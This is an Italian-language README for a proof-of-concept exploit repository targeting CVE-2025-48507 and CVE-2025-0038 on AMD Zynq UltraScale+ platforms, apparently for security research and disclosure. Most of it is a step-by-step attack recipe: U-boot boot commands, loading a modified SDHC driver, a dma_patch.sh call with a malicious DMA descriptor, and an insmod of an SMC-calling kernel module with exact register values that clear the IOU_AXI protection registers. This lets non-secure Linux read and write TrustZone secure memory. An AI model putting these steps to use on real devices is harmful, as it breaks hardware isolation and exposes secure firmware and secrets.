Violare TrustZone sui MPSoC Zynq UltraScale+ - Proof of Concept per CVE-2025-48507 e CVE-2025-0038

Il software Non-Secure potrebbe sfruttare CVE-2025-48507 e CVE-2025-0038 per ottenere accesso in lettura/scrittura al Secure World su piattaforme Zynq UltraScale+, violando così l'isolamento di TrustZone. A tal fine, il software Non-Secure sfrutta CVE-2025-0038 e CVE-2025-48507 per cancellare i registri IOU_AXI_WPRTCN e IOU_AXI_RPRTCN (0xFF240000) e impostare l'SD Host Controller come Master Secure. Quindi, il software Non-Secure (es. Linux) utilizza l'SD Host Controller (l'interfaccia slave è ancora Non-Secure) per scrivere o leggere qualsiasi memoria Secure.

Ulteriori informazioni:

• Bollettini di sicurezza AMD:
  • AMD-SB-8008 (CVE-2025-0038) https://docs.amd.com/r/en-US/000037628/CVE-Details
  • AMD-SB-8017 (CVE-2025-48507): https://docs.amd.com/r/en-US/000039030/CVE-Details
• Presentazione PowerPoint del PoC: /doc/PoC_Exploit_presentation.pdf
• Video del PoC: https://www.dropbox.com/scl/fi/2ug3w9ukf366g4mi5g7y7/CVE-PoC.mp4?rlkey=9zgdayte0vv4114assf0grfgg&st=9qupyn9d&dl=0
• Articolo di ricerca originale (Sezione 5.5): /doc/preprint.pdf

Piattaforme interessate:

• Kria™ SOM
• Zynq UltraScale+ MPSoCs
• Zynq UltraScale+ RFSoCs

Componenti interessati:

• Arm Trusted Firmware per processori Cortex-A (TF-A) e PMU Firmware versioni fino alla 2025.1.

Organizzazione di questo Repository:

• source/ : Sorgente per riprodurre questo PoC su MPSoC Zynq UltraScale+ (ZC104)

  • Per sfruttare CVE-2025-48507 e CVE-2025-0038

    • smc-tt.c: Modulo kernel di base che consente a Linux Non-Secure di effettuare chiamate SMC arbitrarie.

    • Makefile: Un Makefile per la cross-compilazione dei moduli kernel (i percorsi devono essere adattati).

  • Per sfruttare CVE-2025-0038 e CVE-2025-48507

    • sdhc.c: Driver SDHC modificato che consente di effettuare attacchi DMA tramite l'SD Host Controller (SDHC)
    • dma_patch.sh: Uno script comodo che si basa sul driver SDHC modificato per patchare regioni di memoria arbitrarie tramite le capacità DMA dell'SDHC

• doc/ : Presentazioni e articolo di ricerca che descrivono in dettaglio le vulnerabilità di sicurezza a livello di TF-A e PMU.

• hw_debug/: Script per debugger hardware per il debug di TF-A sull'APU e del processore PMU. Forniscono un ambiente per eseguire il debug delle funzioni interessate nel firmware PMU e in TF-A e per confermare il successo dell'attacco. Questi script devono essere usati con Trace32 e un debugger hardware JTAG Lauterbach PowerDebug PRO. Il debugger hardware è stato collegato alla porta JTAG (J180) dello ZCU104.

Replica dell'Attacco

Preparazione dell'Ambiente:

1. Costruire un ambiente affetto (es. Linux, TF-A, PMU Firmware...).

   • es., immagini precompilate di Petalinux, Yocto, strumenti Petalinux...

2. Quando si compila Linux, impostare il driver SDHC come modulo kernel caricabile tramite kconfig. Necessario solo per lo sfruttamento.

   • MMC_SDHCI=M

3. Compilare i moduli kernel smc-tt.c e sdhci.c . Il Makefile fornito può essere utilizzato adattando i percorsi del kernel e del compilatore.

4. Per sfruttare le CVE, aggiungere smc-tt.ko al rootfs di Linux

5. Per lo sfruttamento delle CVE, aggiungere sdhci.ko e dma_patch.sh al rootfs di Linux

PoC ed Exploit delle CVE:

Nel PoC, il sistema (es. fslb, uboot...) è stato avviato da una scheda SD. Il rootfs di Linux è stato flashato su una USB. Per l'attacco DMA, Linux ha utilizzato una partizione vuota della scheda SD accessibile tramite l'SD Host Controller pilotato dal driver SDHC modificato (sdhci.ko).

Per testare solo le CVE, i passaggi 2, 3 e 5 possono essere saltati.

1. Comandi U-boot per avviare Linux nel mondo Non-secure con il suo rootfs su una partizione USB:

   root@kitploit:~

   setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
   

2. Caricare il driver SDHC modificato per eseguire accessi DMA arbitrari:

   root@kitploit:~

   insmod /sdhci.ko
   insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
   insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko 
   

3. Provare a patchare la memoria Secure sfruttando il driver SDHC modificato. Dovrebbe fallire poiché l'SDHC è ancora Non-Secure:

   root@kitploit:~

   ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
   

   • ARG1: PAYLOAD

   • ARG2: Descrittore malevolo per eseguire un accesso DMA rogue.

     • Es., '\x00\x00\xdc\xff\x20\x00\x23\x00' per patchare 0x20 byte all'indirizzo 0xFFDC0000. \x23\x00 deve essere lasciato invariato

   • ARG3: Una partizione di dispositivo gestita dall'SD Host Controller controllato dal driver SDHC modificato.

     • Es., /dev/mmcblk0p3

4. Sfruttare le CVE per cancellare IOU_AXI_WPRTCN e IOU_AXI_RPRTCN (0xFF240000):

   root@kitploit:~

   insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
   

   • 0xc200002E: Chiamata SMC affetta (PM_FPGA_READ).

   • 0xff24000000000100: Indirizzo da cancellare (0xFF240000) (cioè IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) e il numero di byte da cancellare (0x00000100)

Ora Linux può sfruttare la DMA dell'SDHC per accedere completamente alla memoria Secure